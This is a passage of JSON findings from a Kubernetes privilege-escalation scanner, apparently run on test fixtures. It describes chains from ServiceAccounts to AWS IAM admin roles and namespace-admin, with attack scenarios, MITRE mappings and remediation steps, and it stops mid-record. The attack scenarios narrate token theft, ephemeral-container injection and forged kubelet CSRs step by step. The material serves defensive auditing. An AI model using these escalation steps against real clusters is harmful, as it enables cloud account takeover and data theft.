    "description": "Subject `ServiceAccount/privesc-fixtures/sa-ephemeral` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (3 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  2. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa\n  3. `ServiceAccount/cloud-eks-imp/imp-irsa` → `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `irsa_assume_role` (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ephemeral",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-ephemeral` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/privesc-fixtures/sa-ephemeral`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/rbac-fixtures/sa-pod-create` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cloud-eks-imp/imp-irsa` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cloud-eks-imp/imp-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `arn:aws:iam::123456789012:role/ImpersonatorAdminRole`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "2. pod_create_token_theft [create pods]",
        "3. irsa_assume_role [arn:aws:iam::123456789012:role/ImpersonatorAdminRole]"
      ],
      "first_action": "ephemeral_container_inject",
      "hop_count": 3,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "ephemeral_container_inject",
        "pod_create_token_theft",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the `create pods` capability that enables hop 2 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the `create pods` capability that enables hop 2 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 2,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 3,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole"
        },
        "permission": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/privesc-fixtures/sa-pod-create-escape:aws_iam_role:arn:aws:iam::123456789012:role/AdministratorAccess",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 6.8,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-create-escape` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (3 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-ephemeral` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral\n  2. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/cloud-eks-test/eks-admin-irsa` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa\n  3. `ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `irsa_assume_role` (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create-escape",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-create-escape` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/privesc-fixtures/sa-pod-create-escape`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-create-escape`, the attacker creates a pod that mounts the `ServiceAccount/privesc-fixtures/sa-ephemeral` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/cloud-eks-test/eks-admin-irsa` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-admin-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `arn:aws:iam::123456789012:role/AdministratorAccess`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "3. irsa_assume_role [arn:aws:iam::123456789012:role/AdministratorAccess]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 3,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "ephemeral_container_inject",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the `create pods` capability that enables hop 1 (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-ephemeral`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the `create pods` capability that enables hop 1 (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-ephemeral`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create-escape",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral",
        "source_binding": "rb-pod-create-escape",
        "source_role": "r-pod-create-escape",
        "binding_namespace": "privesc-fixtures"
      },
      {
        "step": 2,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 3,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "permission": "arn:aws:iam::123456789012:role/AdministratorAccess",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/privesc-fixtures/sa-pod-exec:aws_iam_role:arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 6.8,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-exec` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (3 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `pod_exec` (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  2. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa\n  3. `ServiceAccount/cloud-eks-imp/imp-irsa` → `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `irsa_assume_role` (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-exec",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-exec` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/privesc-fixtures/sa-pod-exec`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-exec`, the attacker uses `pods/exec` (`create,get pods/exec|pods/attach`) to open a shell inside `ServiceAccount/rbac-fixtures/sa-pod-create` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cloud-eks-imp/imp-irsa` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cloud-eks-imp/imp-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `arn:aws:iam::123456789012:role/ImpersonatorAdminRole`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create,get pods/exec|pods/attach]",
        "2. pod_create_token_theft [create pods]",
        "3. irsa_assume_role [arn:aws:iam::123456789012:role/ImpersonatorAdminRole]"
      ],
      "first_action": "pod_exec",
      "hop_count": 3,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "pod_create_token_theft",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the `create pods` capability that enables hop 2 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the `create pods` capability that enables hop 2 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-exec",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "create,get pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-pod-exec",
        "source_role": "cr-pod-exec"
      },
      {
        "step": 2,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 3,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole"
        },
        "permission": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/nodeid-fixtures/nodeid-joiner:namespace_admin:cutres",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.75,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-joiner` can reach **namespace-admin in `cutres`** in 4 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-joiner` has a privesc path that ends at namespace-admin inside `cutres`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `cutres` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/` via `csr_nodeclient_autoapprove` (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource\n  2. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cutres/cutres-detour` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cutres/cutres-detour\n  4. `ServiceAccount/cutres/cutres-detour` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-joiner",
      "namespace": "nodeid-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "cutres",
      "namespace": "cutres"
    },
    "namespace": "cutres",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-joiner` → namespace-admin in `cutres`: every workload, Secret, and ConfigMap inside `cutres` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/nodeid-fixtures/nodeid-joiner` yields full takeover of `cutres`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/nodeid-fixtures/nodeid-joiner` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-joiner`, the attacker submits a CertificateSigningRequest for the `kubernetes.io/kube-apiserver-client-kubelet` signer naming `system:node:\u003cname\u003e` in `system:nodes` (`create certificatesigningrequests + create certificatesigningrequests/nodeclient`). The controller manager's CSR approver asks the API server whether the requester may `create certificatesigningrequests/nodeclient`; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.",
